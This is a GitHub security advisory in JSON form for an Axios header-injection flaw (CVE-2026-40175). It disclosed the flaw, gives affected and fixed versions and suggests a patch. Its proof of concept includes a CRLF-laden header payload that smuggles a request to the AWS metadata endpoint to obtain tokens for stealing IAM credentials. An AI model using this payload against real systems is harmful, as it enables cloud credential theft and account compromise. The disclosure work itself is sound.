GHSA-fvcv-3m26-pcqx.json

{
  "schema_version": "1.4.0",
  "id": "GHSA-fvcv-3m26-pcqx",
  "modified": "2026-04-16T18:45:24Z",
  "published": "2026-04-10T19:47:16Z",
  "aliases": [
    "CVE-2026-40175"
  ],
  "summary": "Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain",
  "details": "# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\n\n## Summary\nThe Axios library is vulnerable to a specific \"Gadget\" attack chain that allows **Prototype Pollution** in any third-party dependency to be escalated into **Remote Code Execution (RCE)** or **Full Cloud Compromise** (via AWS IMDSv2 bypass).\n\nWhile Axios patches exist for *preventing check* pollution, the library remains vulnerable to *being used* as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.\n\n**Severity**: Moderate (CVSS 4.8)\n**Affected Versions**: All versions (v0.x - v1.x)\n**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)\n\n## Usage of \"Helper\" Vulnerabilities\nThis vulnerability is unique because it requires **Zero Direct User Input**.\nIf an attacker can pollute `Object.prototype` via *any* other library in the stack (e.g., `qs`, `minimist`, `ini`, `body-parser`), Axios will automatically pick up the polluted properties during its config merge.\n\nBecause Axios does not sanitise these merged header values for CRLF (`\\r\\n`) characters, the polluted property becomes a **Request Smuggling** payload.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n```javascript\nObject.prototype['x-amz-target'] = \"dummy\\r\\n\\r\\nPUT /latest/api/token HTTP/1.1\\r\\nHost: 169.254.169.254\\r\\nX-aws-ec2-metadata-token-ttl-seconds: 21600\\r\\n\\r\\nGET /ignore\";\n```\n\n### 2. The Gadget Trigger (Safe Code)\nThe application makes a completely safe, hardcoded request:\n```javascript\n// This looks safe to the developer\nawait axios.get('https://analytics.internal/pings'); \n```\n\n### 3. The Execution\nAxios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.\n\n**Resulting HTTP traffic:**\n```http\nGET /pings HTTP/1.1\nHost: analytics.internal\nx-amz-target: dummy\n\nPUT /latest/api/token HTTP/1.1\nHost: 169.254.169.254\nX-aws-ec2-metadata-token-ttl-seconds: 21600\n\nGET /ignore HTTP/1.1\n...\n```\n\n### 4. The Impact (IMDSv2 Bypass)\nThe \"Smuggled\" second request is a valid `PUT` request to the AWS Metadata Service. It includes the required `X-aws-ec2-metadata-token-ttl-seconds` header (which a normal SSRF cannot send).\nThe Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.\n\n## Impact Analysis\n-   **Security Control Bypass**: Defeats AWS IMDSv2 (Session Tokens).\n-   **Authentication Bypass**: Can inject headers (`Cookie`, `Authorization`) to pivot into internal administrative panels.\n-   **Cache Poisoning**: Can inject `Host` headers to poison shared caches.\n\n## Recommended Fix\nValidate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function.\n\n**Patch Suggestion:**\n```javascript\n// In lib/adapters/http.js\nutils.forEach(requestHeaders, function setRequestHeader(val, key) {\n  if (/[\\r\\n]/.test(val)) {\n    throw new Error('Security: Header value contains invalid characters');\n  }\n  // ... proceed to set header\n});\n```\n\n## References\n-   **OWASP**: CRLF Injection (CWE-113)\n\nThis report was generated as part of a security audit of the Axios library.",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"
    }
  ],
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.0"
            }
          ]
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.0"
            }
          ]
        }
      ]
    }
  ],
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40175"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10660"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10660#issuecomment-4224168081"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.31.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.15.0"
    }
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-444",
      "CWE-918"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:47:16Z",
    "nvd_published_at": "2026-04-10T20:16:22Z"
  }
}